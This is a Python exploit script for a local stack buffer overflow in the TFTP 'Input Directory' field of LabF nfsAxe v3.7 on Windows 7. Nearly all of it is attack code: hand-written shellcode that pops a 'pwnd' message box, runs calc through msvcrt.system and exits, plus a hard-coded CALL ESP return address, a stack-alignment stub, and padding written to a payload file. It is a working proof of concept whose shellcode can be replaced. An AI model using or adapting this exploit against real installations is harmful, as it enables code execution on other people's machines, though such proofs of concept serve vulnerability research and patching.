#!/usr/bin/python
########################################################################################################
# Exploit Author: Miguel Mendez Z
# Exploit Title: LabF nfsAxe v3.7 - TFTP "Input Directory" Local Buffer Overflow 
# Date: 29-01-2018
# Software: LabF nfsAxe
# Version: v3.7
# Vendor Homepage: http://www.labf.com
# Software Link: http://www.labf.com/download/nfsaxe.exe
# Tested on: Windows 7 x86
########################################################################################################

import struct

ropAlignEsp = (
"\x83\xEC\x58" #SUB ESP,58
"\x83\xEC\x58"  #SUB ESP,58
"\x83\xEC\x58"  #SUB ESP,58
"\x83\xEC\x58"  #SUB ESP,58
"\x83\xEC\x10"  #SUB ESP,10
"\xFF\xE4"      #JMP ESP
)

scode  = "\xB9\xEF\xEE\xEE\xEE"     #MOV ECX,EEEEEEEF
scode += "\x81\xC1\x11\x11\x11\x11" #ADD ECX,11111111
scode += "\x51"                     #PUSH ECX
scode += "\x68\x31\x30\x73\x21"     #PUSH 31307321
scode += "\x68\x73\x31\x6b\x72"     #PUSH 73316b72
scode += "\x68\x5f\x62\x79\x5f"     #PUSH 5f62795f
scode += "\x68\x70\x77\x6e\x64"     #PUSH 70776e64
scode += "\x68\x42\x30\x66\x5f"     #PUSH 4230665f
scode += "\x8B\xD4"                 #MOV EDX,ESP
scode += "\x48"                     #DEC EAX
scode += "\x50"                     #PUSH EAX
scode += "\x52"                     #PUSH EDX
scode += "\x52"                     #PUSH EDX
scode += "\x50"                     #PUSH EAX
scode += "\xBA\x11\xEA\x1A\x76"     #MOV EDX,USER32.MessageBoxA() (Change)
scode += "\xFF\xD2"                 #CALL EDX
#--------------
scode += "\x33\xD2"                 #XOR EDX,EDX
scode += "\xB9\xEF\xEE\xEE\xEE"     #MOV ECX,EEEEEEEF
scode += "\x81\xC1\x11\x11\x11\x11" #ADD ECX,11111111
scode += "\x51"                     #PUSH ECX
scode += "\x68\x63\x61\x6c\x63"     #PUSH 0x63616c63
scode += "\x8B\xD4"                 #MOV EDX,ESP
scode += "\x52"                     #PUSH EDX
scode += "\x33\xD2"                 #XOR EDX,EDX
scode += "\xBA\x6F\xB1\x0F\x76"     #MOV EDX,msvcrt.system - 0x760fb16f (Change)
scode += "\xFF\xD2"                 #CALL EDX
#--------------
scode += "\x50"                     #PUSH EAX
scode += "\xB8\xE2\xBB\xB5\x75"     #MOV EAX,kernel32.ExitProcess() (Change)
scode += "\xFF\xD0"                 #CALL EAX

offset  = "Host: "+scode+"A"*(1000-len(scode))+"\n"
offset += "File(s): "+"B"*33
offset += struct.pack("<L",0x75A6923D) #CALL ESP ADVAPI32.DLL 
offset += "B"*5
offset += ropAlignEsp
offset += "B"*(1037-37+(len(ropAlignEsp)-5))+"\n"
offset += "Remote Dir y Local Dir: "+"C"*1000

payload = offset
print "Payload len: "+str(len(payload))
print "Shellcode len: "+str(len(scode))

file=open('tftpPoc.txt','w')
file.write(payload)
file.close()